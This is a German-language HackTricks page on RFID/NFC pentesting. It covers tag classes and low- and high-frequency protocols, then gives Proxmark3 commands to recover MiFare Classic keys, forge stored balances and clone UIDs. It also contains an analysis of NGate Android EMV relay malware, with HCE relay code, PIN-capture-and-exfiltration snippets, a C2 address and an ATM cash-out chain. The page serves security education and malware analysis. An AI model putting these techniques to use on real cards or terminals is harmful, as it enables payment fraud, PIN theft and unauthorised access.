Pentesting RFID

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Einführung

Radio Frequency Identification (RFID) ist die verbreitetste Kurzstrecken-Funklösung. Sie wird üblicherweise verwendet, um Informationen zu speichern und zu übertragen, die eine Entität identifizieren.

Ein RFID-Tag kann auf eigene Energiequelle (active) zurückgreifen, z. B. eine eingebaute Batterie, oder seine Energie von der Lesespule mittels der durch die empfangenen Radiowellen induzierten Ströme erhalten (passive).

Klassen

EPCglobal teilt RFID-Tags in sechs Kategorien ein. Ein Tag in jeder Kategorie hat alle Fähigkeiten der vorherigen Kategorie, wodurch Abwärtskompatibilität gewährleistet ist.

  • Class 0 tags sind passive Tags, die in UHF-Bändern arbeiten. Der Hersteller programmiert sie im Produktionswerk vor. Daher kannst du die im Speicher abgelegten Informationen nicht ändern.
  • Class 1 tags können auch in HF-Bändern arbeiten. Zusätzlich können sie nach der Produktion nur einmal beschrieben werden. Viele Class-1-Tags können auch cyclic redundancy checks (CRCs) der empfangenen Befehle verarbeiten. CRCs sind ein paar zusätzliche Bytes am Ende der Befehle zur Fehlererkennung.
  • Class 2 tags können mehrfach beschrieben werden.
  • Class 3 tags können eingebettete Sensoren enthalten, die Umgebungsparameter wie aktuelle Temperatur oder Bewegung des Tags aufzeichnen. Diese Tags sind semi-passive, denn obwohl sie über eine eingebaute Energiequelle, z. B. eine integrierte Batterie, verfügen, können sie keine drahtlose Kommunikation mit anderen Tags oder Lesegeräten initiieren.
  • Class 4 tags können die Kommunikation mit anderen Tags derselben Klasse initiieren und sind daher active tags.
  • Class 5 tags können anderen Tags Energie bereitstellen und mit allen vorherigen Tagklassen kommunizieren. Class-5-Tags können als RFID-Reader agieren.

In RFID-Tags gespeicherte Informationen

Der Speicher eines RFID-Tags enthält normalerweise vier Arten von Daten: die Identifikationsdaten, die die Entität identifizieren, an der das Tag befestigt ist (diese Daten enthalten benutzerdefinierte Felder, wie Bankkonten); die zusätzlichen Daten, die weitere Details zur Entität liefern; die Kontrolldaten, die für die interne Konfiguration des Tags verwendet werden; und die Herstellerdaten des Tags, die eine eindeutige Kennung (UID) und Details zur Produktion, Typ und Vendor des Tags enthalten. Die ersten beiden Datentypen findest du in allen kommerziellen Tags; die letzten beiden können je nach Hersteller variieren.

Der ISO-Standard legt den Application Family Identifier (AFI) Wert fest, einen Code, der die Art des Objekts angibt, zu der das Tag gehört. Ein weiteres wichtiges Register, ebenfalls durch ISO spezifiziert, ist der Data Storage Format Identifier (DSFID), der die logische Organisation der Benutzerdaten definiert.

Die meisten RFID-Sicherheitskontrollen verfügen über Mechanismen, die die Lese- oder Schreiboperationen auf jedem Benutzer-Datensegment sowie auf den speziellen Registern, die AFI- und DSFID-Werte enthalten, einschränken. Diese Sperrmechanismen verwenden Daten, die im Kontrollspeicher abgelegt sind, und haben vom Hersteller voreingestellte Standardpasswörter, erlauben aber den Tag-Eigentümern, eigene Passwörter zu konfigurieren.

Vergleich Nieder- & Hochfrequenz-Tags

Niederfrequente RFID-Tags (125 kHz)

Niederfrequente Tags werden oft in Systemen eingesetzt, die keine hohe Sicherheit erfordern: Gebäudeschlüssel, Gegensprechanlagen, Mitgliedskarten für Fitnessstudios usw. Aufgrund ihrer größeren Reichweite sind sie praktisch für bezahlte Parkplätze: Der Fahrer muss die Karte nicht dicht an den Leser halten, da sie aus weiterer Entfernung ausgelöst wird. Gleichzeitig sind niederfrequente Tags sehr primitiv und haben eine niedrige Datenübertragungsrate. Aus diesem Grund ist es unmöglich, komplexe bidirektionale Datenübertragungen für Dinge wie Guthabenverwaltung und Kryptographie zu implementieren. Niederfrequente Tags übertragen nur ihre kurze ID ohne Authentifizierungsmechanismen.

Diese Geräte basieren auf passiver RFID-Technologie und arbeiten in einem Bereich von 30 kHz bis 300 kHz, obwohl üblicherweise 125 kHz bis 134 kHz verwendet werden:

  • Long Range — niedrigere Frequenz führt zu größerer Reichweite. Es gibt einige EM-Marin- und HID-Reader, die aus einer Entfernung von bis zu einem Meter arbeiten. Diese werden oft in Parkanlagen verwendet.
  • Primitive protocol — aufgrund der niedrigen Datenübertragungsrate können diese Tags nur ihre kurze ID übertragen. In den meisten Fällen sind die Daten nicht authentifiziert und nicht geschützt. Sobald die Karte im Bereich des Lesers ist, beginnt sie einfach, ihre ID zu übertragen.
  • Low security — Diese Karten können leicht kopiert werden oder sogar aus der Tasche einer anderen Person ausgelesen werden, aufgrund der Protokoll-Primitive.

Populäre 125 kHz Protokolle:

  • EM-Marin — EM4100, EM4102. Das populärste Protokoll in der CIS-Region. Kann wegen seiner Einfachheit und Stabilität aus etwa einem Meter Entfernung gelesen werden.
  • HID Prox II — niederfrequentes Protokoll eingeführt von HID Global. Dieses Protokoll ist in westlichen Ländern populärer. Es ist komplexer und die Karten sowie Reader für dieses Protokoll sind relativ teuer.
  • Indala — sehr altes niederfrequentes Protokoll, das von Motorola eingeführt und später von HID übernommen wurde. Du wirst ihm in freier Wildbahn seltener begegnen als den beiden vorherigen, da es aus der Nutzung fällt.

In Wirklichkeit gibt es deutlich mehr niederfrequente Protokolle. Aber sie alle verwenden dieselbe Modulation auf der physikalischen Ebene und können in gewissem Maße als Varianten der oben genannten betrachtet werden.

Attack

Du kannst diese Tags mit dem Flipper Zero angreifen:

FZ - 125kHz RFID

Hochfrequente RFID-Tags (13.56 MHz)

Hochfrequente Tags werden für eine komplexere Reader-Tag-Interaktion verwendet, wenn du Kryptographie, umfangreiche bidirektionale Datenübertragung, Authentifizierung usw. benötigst.
Man findet sie üblicherweise in Bankkarten, im öffentlichen Nahverkehr und anderen sicheren Zutrittsausweisen.

Hochfrequente 13.56 MHz Tags sind ein Satz von Standards und Protokollen. Sie werden häufig als NFC bezeichnet, aber das ist nicht immer korrekt. Das grundlegende Protokollset, das auf physikalischer und logischer Ebene verwendet wird, ist ISO 14443. Höhere Protokollebenen sowie alternative Standards (wie ISO 19092) basieren darauf. Viele Leute bezeichnen diese Technologie als Near Field Communication (NFC), einen Begriff für Geräte, die auf der Frequenz 13.56 MHz arbeiten.

Vereinfacht gesagt funktioniert die NFC-Architektur so: Das Übertragungsprotokoll wird von der Firma, die die Karten herstellt, gewählt und auf Basis des niedrigen ISO-14443-Levels implementiert. Beispielsweise hat NXP sein eigenes hochrangiges Übertragungsprotokoll namens Mifare erfunden. Auf der unteren Ebene basieren Mifare-Karten jedoch auf dem ISO-14443-A-Standard.

Flipper kann sowohl mit dem niedrigen ISO-14443-Protokoll interagieren als auch mit dem Mifare Ultralight-Datenübertragungsprotokoll und EMV, das in Bankkarten verwendet wird. Wir arbeiten daran, Unterstützung für Mifare Classic und NFC NDEF hinzuzufügen. Ein ausführlicher Blick auf die Protokolle und Standards, die NFC ausmachen, ist einen eigenen Artikel wert, den wir später veröffentlichen möchten.

Alle hochfrequenten Karten, die auf dem ISO 14443-A-Standard basieren, haben eine eindeutige Chip-ID. Sie fungiert als Seriennummer der Karte, ähnlich einer MAC-Adresse einer Netzwerkkarte. Normalerweise ist die UID 4 oder 7 Bytes lang, kann aber selten bis zu 10 reichen. UIDs sind kein Geheimnis und lassen sich leicht auslesen, manchmal sogar direkt auf der Karte aufgedruckt.

Es gibt viele Zugangskontrollsysteme, die sich auf die UID verlassen, um zu authentifizieren und Zutritt zu gewähren. Das passiert manchmal sogar, wenn RFID-Tags Kryptographie unterstützen. Solche Fehlanwendungen reduzieren ihre Sicherheit auf das Niveau der einfachen 125 kHz-Karten. Virtuelle Karten (wie Apple Pay) verwenden eine dynamische UID, damit Telefonbesitzer nicht mit ihrer Zahlungs-App Türen öffnen können.

  • Niedrige Reichweite — hochfrequente Karten sind so konzipiert, dass sie dicht an den Leser gehalten werden müssen. Das hilft auch, die Karte vor unautorisierten Interaktionen zu schützen. Die maximale Lesereichweite, die wir erreicht haben, lag bei etwa 15 cm, und das mit selbstgebauten High-Range-Readern.
  • Fortgeschrittene Protokolle — Datenübertragungsraten bis zu 424 kbps erlauben komplexe Protokolle mit vollständiger bidirektionaler Datenübertragung, was wiederum Kryptographie, Datentransfer usw. ermöglicht.
  • Hohe Sicherheit — hochfrequente kontaktlose Karten stehen Smartcards in nichts nach. Es gibt Karten, die kryptographisch starke Algorithmen wie AES unterstützen und asymmetrische Kryptographie implementieren.

Attack

Du kannst diese Tags mit dem Flipper Zero angreifen:

FZ - NFC

Oder mit dem proxmark:

Proxmark 3

MiFare Classic Offline-Guthaben-Manipulation (broken Crypto1)

Wenn ein System ein monetäres Guthaben direkt auf einer MiFare Classic-Karte speichert, kannst du es oft manipulieren, weil Classic NXP’s veralteten Crypto1-Streamcipher verwendet. Crypto1 ist seit Jahren gebrochen, was die Wiederherstellung von Sektor-Schlüsseln und vollständiges Lesen/Schreiben des Karten-Speichers mit Standardhardware (z. B. Proxmark3) ermöglicht.

End-to-End-Ablauf (abstrahiert):

  1. Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Dies stellt typischerweise die Sektor-Keys (A/B) wieder her und erzeugt einen vollständigen Card-Dump im client dumps folder.

  1. Lokalisieren und verstehen der value/integrity-Felder
  • Führen Sie legitime Aufladungen auf der Originalkarte durch und erstellen Sie mehrere Dumps (vorher/nachher).
  • Führen Sie einen diff der beiden Dumps durch, um die sich ändernden Blöcke/Bytes zu identifizieren, die das Guthaben und etwaige Integrity-Felder repräsentieren.
  • Viele Classic-Deployments verwenden entweder die native “value block”-Kodierung oder implementieren eigene Prüfsummen (z. B. XOR des Guthabens mit einem anderen Feld und einer Konstante). Nachdem Sie das Guthaben geändert haben, berechnen Sie die Integrity-Bytes entsprechend neu und stellen Sie sicher, dass alle duplizierten/komplementären Felder konsistent sind.
  1. Schreiben Sie den modifizierten Dump auf einen beschreibbaren “Chinese magic” Classic-Tag
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Klonen Sie die Original-UID, damit Terminals die Karte erkennen
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Verwendung an Terminals

Lesegeräte, die dem Guthaben auf der Karte und der UID vertrauen, akzeptieren die manipulierte Karte. Feldbeobachtungen zeigen, dass viele Installationen Guthaben basierend auf der Feldbreite begrenzen (z. B. 16-Bit fixed-point).

Hinweise

  • Wenn das System native Classic value blocks verwendet, merke dir das Format: value (4B) + ~value (4B) + value (4B) + block address + ~address. Alle Teile müssen übereinstimmen.
  • Bei benutzerdefinierten Formaten mit einfachen Checksummen ist differential analysis der schnellste Weg, die Integritätsfunktion zu ermitteln, ohne die Firmware zu reverse-engineeren.
  • Nur UID-changeable tags (“Chinese magic” gen1a/gen2) erlauben das Schreiben von block 0/UID. Normale Classic-Karten haben read-only UIDs.

Für praktische Proxmark3-Kommandos, siehe:

Proxmark 3

Bau eines portablen HID MaxiProx 125 kHz Mobile Cloner

Wenn du eine lange Reichweite, batteriebetriebene Lösung zum Harvesting von HID Prox® Badges während red-team engagements benötigst, kannst du den wandmontierten HID MaxiProx 5375 reader in einen autarken Cloner umbauen, der in einen Rucksack passt. Die vollständige mechanische und elektrische Anleitung ist hier verfügbar:

Maxiprox Mobile Cloner

NFC/EMV-Relay über Android Reader↔HCE Emitter

Ein klassisches EMV-Relay kann mit zwei Android-Geräten implementiert werden: ein victim-side reader, der live APDUs und den PIN von einer echten Karte erfasst, und ein attacker-side HCE emitter am Terminal, der APDUs upstream weiterleitet. Das analysierte NGate-Kit missbraucht legitime Android NFC APIs und ein einfaches framed TCP C2, um Echtzeit-ATM-Cash-outs zu orchestrieren.

Wichtige Bausteine

  • Reader-mode app (victim): verwendet NFC reader APIs, um EMV (PAN/expiry/AIDs) zu parsen, zeigt das Scheme nach AID an, fragt nach dem PIN und exfiltriert sofort.
  • Emitter-mode app (ATM side): implementiert Host Card Emulation (HCE) mit android:requireDeviceUnlock="false" und einer payment AID; processCommandApdu() leitet APDUs an C2 weiter und gibt eine minimale Response zurück.
  • Wire-Protokoll: length-prefixed frames, periodische keepalive; optional TLS.

Android-Oberfläche (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml Beispiel (kein Unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Transparenter Relay-Endpunkt (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

EMV-Schema-Erkennung anhand der AID (Beispiele)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

PIN-Erfassungsmuster (Opfer-UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext-Beispiel)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode im payload)
  • bodies > ~100 MiB verwerfen; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Konfigurationsverschleierung: cert-derived XOR

  • Native lib leitet einen 32-Byte-Schlüssel als SHA‑256 des App-Signing-Zertifikats (DER) ab.
  • C2 config liegt als ASCII‑Hex in assets (z. B. assets/____) vor, wird hex-dekodiert und mit dem Schlüssel XOR-verknüpft, der sich alle 32 Bytes wiederholt:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

Offline-PoC zum Entschlüsseln der config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Beispiel entschlüsselte Felder: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Relay-Kette (Ende-zu-Ende)

  1. Opfer installiert APK, öffnet die App → native init entschlüsselt die Konfiguration aus assets.
  2. App verbindet sich mit dem C2 (z. B. 91.84.97.13:5653) über framed TCP; keepalive ~7s.
  3. Opfer hält die Karte an → reader extrahiert PAN/expiry/AIDs und sendet CARD_DISCOVERED.
  4. Opfer gibt die PIN ein → keypad publiziert und exfiltriert via PIN_REQ; Server antwortet mit VALID/INVALID nur für die UI.
  5. Gerät des Angreifers am Terminal führt HCE emitter aus, der APDUs an den ATM weiterleitet, und führt cash-out durch.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks